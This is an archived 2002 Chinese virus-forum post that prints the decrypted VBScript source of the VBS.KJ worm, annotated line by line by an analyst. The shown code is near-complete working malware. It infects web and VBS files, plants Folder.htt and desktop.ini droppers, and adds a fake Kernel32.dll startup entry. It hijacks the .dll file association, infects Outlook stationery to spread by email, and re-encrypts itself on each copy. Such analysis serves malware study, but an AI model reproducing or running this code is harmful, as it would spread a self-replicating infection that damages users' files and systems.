发信人: emil(稻草人) 
整理人: emil(2002-08-19 07:44:07), 站内信件
 | 
 
 
'   Virus:  VBS.KJ 
 '   Analyze by DanceFire ([email protected]) 
 '   2002/7/10 
 ' 
 
 Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk 
 Sub KJ_start() 
     '   初始化变量 
     KJSetDim() 
     '   初始化环境 
     KJCreateMilieu() 
     '   感染本地或者共享上与html所在目录 
     KJLikeIt() 
     '   通过vbs感染Outlook邮件模板 
     KJCreateMail() 
     '   进行病毒传播 
     KJPropagate() 
 End Sub 
 
 '   函数:KJAppendTo(FilePath,TypeStr) 
 '   功能:向指定类型的指定文件追加病毒 
 '   参数: 
 '       FilePath    指定文件路径 
 '       TypeStr     指定类型 
 Function KJAppendTo(FilePath,TypeStr) 
     On Error Resume Next 
     '   以只读方式打开指定文件 
     Set ReadTemp = FSO.OpenTextFile(FilePath,1) 
     '   将文件内容读入到TmpStr变量中 
     TmpStr = ReadTemp.ReadAll 
     '   判断文件中是否存在"KJ_start()"字符串,若存在说明已经感染,退出函数; 
     '   若文件长度小于1,也退出函数。 
     If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then 
         ReadTemp.Close 
         Exit Function 
     End If 
     '   如果传过来的类型是"htt" 
     '       在文件头加上调用页面的时候加载KJ_start()函数; 
     '       在文件尾追加html版本的加密病毒体。 
     '   如果是"html" 
     '       在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体; 
     '   如果是"vbs" 
     '       在文件尾追加vbs版本的病毒体 
     If TypeStr = "htt" Then 
         ReadTemp.Close 
         Set FileTemp = FSO.OpenTextFile(FilePath,2) 
         FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText 
         FileTemp.Close 
         Set FAttrib = FSO.GetFile(FilePath) 
         FAttrib.attributes = 34 
     Else 
         ReadTemp.Close 
         Set FileTemp = FSO.OpenTextFile(FilePath,8) 
         If TypeStr = "html" Then 
             FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
         ElseIf TypeStr = "vbs" Then 
             FileTemp.Write vbCrLf & VbsText 
         End If 
         FileTemp.Close 
     End If 
 End Function 
 
 '   函数:KJChangeSub(CurrentString,LastIndexChar) 
 '   功能:改变子目录以及盘符 
 '   参数: 
 '       CurrentString   当前目录 
 '       LastIndexChar   上一级目录在当前路径中的位置 
 Function KJChangeSub(CurrentString,LastIndexChar) 
     '   判断是否是根目录 
     If LastIndexChar = 0 Then 
         '   如果是根目录 
         '       如果是C:\,返回FinalyDisk盘,并将SubE置为0, 
         '       如果不是C:\,返回将当前盘符递减1,并将SubE置为0 
         If Left(LCase(CurrentString),1) =< LCase("c") Then 
             KJChangeSub = FinalyDisk & ":\" 
             SubE = 0 
         Else 
             KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\" 
             SubE = 0 
         End If 
     Else 
         '   如果不是根目录,则返回上一级目录名称 
         KJChangeSub = Mid(CurrentString,1,LastIndexChar) 
     End If 
 End Function 
 
 '   函数:KJCreateMail() 
 '   功能:感染邮件部分 
 Function KJCreateMail() 
     On Error Resume Next 
     '   如果当前执行文件是"html"的,就退出函数 
     If InWhere = "html" Then 
         Exit Function 
     End If 
     '   取系统盘的空白页的路径 
     ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm" 
     '   如果存在这个文件,就向其追加html的病毒体 
     '   否则生成含有病毒体的这个文件 
     If (FSO.FileExists(ShareFile)) Then 
         Call KJAppendTo(ShareFile,"html") 
     Else 
         Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) 
         FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
         FileTemp.Close 
     End If 
     '   取得当前用户的ID和OutLook的版本 
     DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID") 
     OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer") 
     '   激活信纸功能,并感染所有信纸 
     WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD" 
     Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile) 
     Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile) 
     WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
     Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
     Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
     WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
     Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank") 
     KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery") 
 End Function 
 
 
 '    函数:KJCreateMilieu() 
 '    功能:创建系统环境 
 Function KJCreateMilieu() 
     On Error Resume Next 
     TempPath = "" 
     '    判断操作系统是NT/2000还是9X 
     If Not(FSO.FileExists(WinPath & "WScript.exe")) Then 
         TempPath = "system32\" 
     End If 
     '    为了文件名起到迷惑性,并且不会与系统文件冲突。 
     '    如果是NT/2000则启动文件为system\Kernel32.dll 
     '    如果是9x启动文件则为system\Kernel.dll 
     If TempPath = "system32\" Then 
         StartUpFile = WinPath & "SYSTEM\Kernel32.dll" 
     Else 
         StartUpFile = WinPath & "SYSTEM\Kernel.dll" 
     End If 
     '    添加Run值,添加刚才生成的启动文件路径 
     WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile 
     '   拷贝前期备份的文件到原来的目录 
     FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt" 
     FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini" 
     '   向%windir%\web\Folder.htt追加病毒体 
     Call KJAppendTo(WinPath & "web\Folder.htt","htt") 
     '   改变dll的MIME头 
     '   改变dll的默认图标 
     '   改变dll的打开方式 
     WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile" 
     WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload" 
     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\") 
     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript" 
     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*" 
     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}" 
     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}" 
     '   启动时加载的病毒文件中写入病毒体 
     Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true) 
     FileTemp.Write VbsText 
     FileTemp.Close 
 End Function 
 
 '   函数:KJLikeIt() 
 '   功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录 
 Function KJLikeIt() 
     '   如果当前执行文件不是"html"的就退出程序 
     If InWhere <> "html" Then 
         Exit Function 
     End If 
     '   取得文档当前路径 
     ThisLocation = document.location 
     '   如果是本地或网上共享文件 
     If Left(ThisLocation, 4) = "file" Then 
         ThisLocation = Mid(ThisLocation,9) 
         '   如果这个文件扩展名不为空,在ThisLocation中保存它的路径 
         If FSO.GetExtensionName(ThisLocation) <> "" then 
             ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation))) 
         End If 
         '   如果ThisLocation的长度大于3就尾追一个"\" 
         If Len(ThisLocation) > 3 Then 
             ThisLocation = ThisLocation & "\" 
         End If 
         '   感染这个目录 
         KJummageFolder(ThisLocation) 
     End If 
 End Function 
 
 '   函数:KJMailReg(RegStr,FileName) 
 '   功能:如果注册表指定键值不存在,则向指定位置写入指定文件名 
 '   参数: 
 '       RegStr      注册表指定键值 
 '       FileName    指定文件名 
 Function KJMailReg(RegStr,FileName) 
     On Error Resume Next 
     '   如果注册表指定键值不存在,则向指定位置写入指定文件名 
     RegTempStr = WsShell.RegRead(RegStr) 
     If RegTempStr = "" Then 
         WsShell.RegWrite RegStr,FileName 
     End If 
 End Function 
 
 '   函数:KJOboSub(CurrentString) 
 '   功能:遍历并返回目录路径 
 '   参数: 
 '       CurrentString   当前目录 
 Function KJOboSub(CurrentString) 
     SubE = 0 
     TestOut = 0 
     Do While True 
         TestOut = TestOut + 1 
         If TestOut > 28 Then 
             CurrentString = FinalyDisk & ":\" 
             Exit Do 
         End If 
         On Error Resume Next 
         '   取得当前目录的所有子目录,并且放到字典中 
         Set ThisFolder = FSO.GetFolder(CurrentString) 
         Set DicSub = CreateObject("Scripting.Dictionary") 
         Set Folders = ThisFolder.SubFolders 
         FolderCount = 0 
         For Each TempFolder in Folders 
             FolderCount = FolderCount + 1 
             DicSub.add FolderCount, TempFolder.Name 
         Next 
         '   如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1 
         If DicSub.Count = 0 Then 
             LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) 
             SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) 
             CurrentString = KJChangeSub(CurrentString,LastIndexChar) 
             SubE = 1 
         Else 
         '   如果存在子目录 
         '       如果SubE为0,则将CurrentString变为它的第1个子目录 
             If SubE = 0 Then 
                 CurrentString = CurrentString & DicSub.Item(1) & "\" 
                 Exit Do 
             Else 
         '       如果SubE为1,继续遍历子目录,并将下一个子目录返回 
                 j = 0 
                 For j = 1 To FolderCount 
                     If LCase(SubString) = LCase(DicSub.Item(j)) Then 
                         If j < FolderCount Then 
                             CurrentString = CurrentString & DicSub.Item(j+1) & "\" 
                             Exit Do 
                         End If 
                     End If 
                 Next 
                 LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) 
                 SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) 
                 CurrentString = KJChangeSub(CurrentString,LastIndexChar) 
             End If 
         End If 
     Loop 
     KJOboSub = CurrentString 
 End Function 
 
 '   函数:KJPropagate() 
 '   功能:病毒传播 
 Function KJPropagate() 
     On Error Resume Next 
     RegPathValue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree" 
     DiskDegree = WsShell.RegRead(RegPathValue) 
     '   如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘 
     If DiskDegree = "" Then 
         DiskDegree = FinalyDisk & ":\" 
     End If 
     '   继DiskDegree置后感染5个目录 
     For i=1 to 5 
         DiskDegree = KJOboSub(DiskDegree) 
         KJummageFolder(DiskDegree) 
     Next 
     '   将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"键值中 
     WsShell.RegWrite RegPathValue,DiskDegree 
 End Function 
 
 '   函数:KJummageFolder(PathName) 
 '   功能:感染指定目录 
 '   参数: 
 '       PathName    指定目录 
 Function KJummageFolder(PathName) 
     On Error Resume Next 
     '   取得目录中的所有文件集 
     Set FolderName = FSO.GetFolder(PathName) 
     Set ThisFiles = FolderName.Files 
     HttExists = 0 
     For Each ThisFile In ThisFiles 
         FileExt = UCase(FSO.GetExtensionName(ThisFile.Path)) 
         '   判断扩展名 
         '       若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体 
         '       若是VBS则向文件中追加VBS版的病毒体 
         '       若是HTT,则标志为已经存在HTT了 
         If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then 
             Call KJAppendTo(ThisFile.Path,"html") 
         ElseIf FileExt = "VBS" Then 
             Call KJAppendTo(ThisFile.Path,"vbs") 
         ElseIf FileExt = "HTT" Then 
             HttExists = 1 
         End If 
     Next 
     '   如果所给的路径是桌面,则标志为已经存在HTT了 
     If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then 
         HttExists = 1 
     End If 
     '   如果不存在HTT 
     '       向目录中追加病毒体 
     If HttExists = 0 Then 
         FSO.CopyFile WinPath & "system32\desktop.ini",PathName 
         FSO.CopyFile WinPath & "web\Folder.htt",PathName 
     End If 
 End Function 
 
 '    函数KJSetDim() 
 '        定义FSO,WsShell对象 
 '        取得最后一个可用磁盘卷标 
 '        生成传染用的加密字串 
 '        备份系统中的web\folder.htt和system32\desktop.ini 
 Function KJSetDim() 
     On Error Resume Next 
     Err.Clear 
 
     '    测试当前执行文件是html还是vbs 
     TestIt = WScript.ScriptFullname 
     If Err Then 
         InWhere = "html" 
     Else 
         InWhere = "vbs" 
     End If 
      
     '    创建文件访问对象和Shell对象 
     If InWhere = "vbs" Then 
         Set FSO = CreateObject("Scripting.FileSystemObject") 
         Set WsShell = CreateObject("WScript.Shell") 
     Else 
         Set AppleObject = document.applets("KJ_guest") 
         AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") 
         AppleObject.createInstance() 
         Set WsShell = AppleObject.GetObject() 
         AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}") 
         AppleObject.createInstance() 
         Set FSO = AppleObject.GetObject() 
     End If 
     Set DiskObject = FSO.Drives 
     '    判断磁盘类型 
     ' 
     '    0: Unknown 
     '    1: Removable 
     '    2: Fixed 
     '    3: Network 
     '    4: CD-ROM 
     '    5: RAM Disk 
     '    如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样? 
     For Each DiskTemp In DiskObject 
         If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then 
             Exit For 
         End If 
         FinalyDisk = DiskTemp.DriveLetter 
     Next 
      
     '    此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。 
     '    加密算法 
     Dim OtherArr(3) 
     Randomize 
     '    随机生成4个算子 
     For i=0 To 3 
         OtherArr(i) = Int((9 * Rnd)) 
     Next 
     TempString = "" 
     For i=1 To Len(ThisText) 
         TempNum = Asc(Mid(ThisText,i,1)) 
         '对回车、换行(0x0D,0x0A)做特别的处理 
         If TempNum = 13 Then 
             TempNum = 28 
         ElseIf TempNum = 10 Then 
             TempNum = 29 
         End If 
         '很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。 
         TempChar = Chr(TempNum - OtherArr(i Mod 4)) 
         If TempChar = Chr(34) Then 
             TempChar = Chr(18) 
         End If 
         TempString = TempString & TempChar 
     Next 
     '    含有解密算法的字串 
     UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)" 
     '    将加密好的病毒体复制给变量 ThisText 
     ThisText = "ExeString = """ & TempString & """" 
     '    生成html感染用的脚本 
     HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>" 
     '    生成vbs感染用的脚本 
     VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()" 
     '    取得Windows目录 
     '    GetSpecialFolder(n) 
     '        0:    WindowsFolder 
     '        1:    SystemFolder 
     '        2:    TemporaryFolder 
     '    如果系统目录存在web\Folder.htt和system32\desktop.ini,则用kjwall.gif文件名备份它们。 
     WinPath = FSO.GetSpecialFolder(0) & "\" 
     If (FSO.FileExists(WinPath & "web\Folder.htt")) Then 
         FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif" 
     End If 
     If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then 
         FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif" 
     End If 
 End Function 
 
 
  ---- 谨代表个人观点,如有异议或疑问,欢迎提出,我们互相学习,共同进步,谢谢!
 网易(广州)社区病毒版
 
  
 http://cnav.126.com
 Email: [email protected]
 QQ:201604             | 
 
 
 |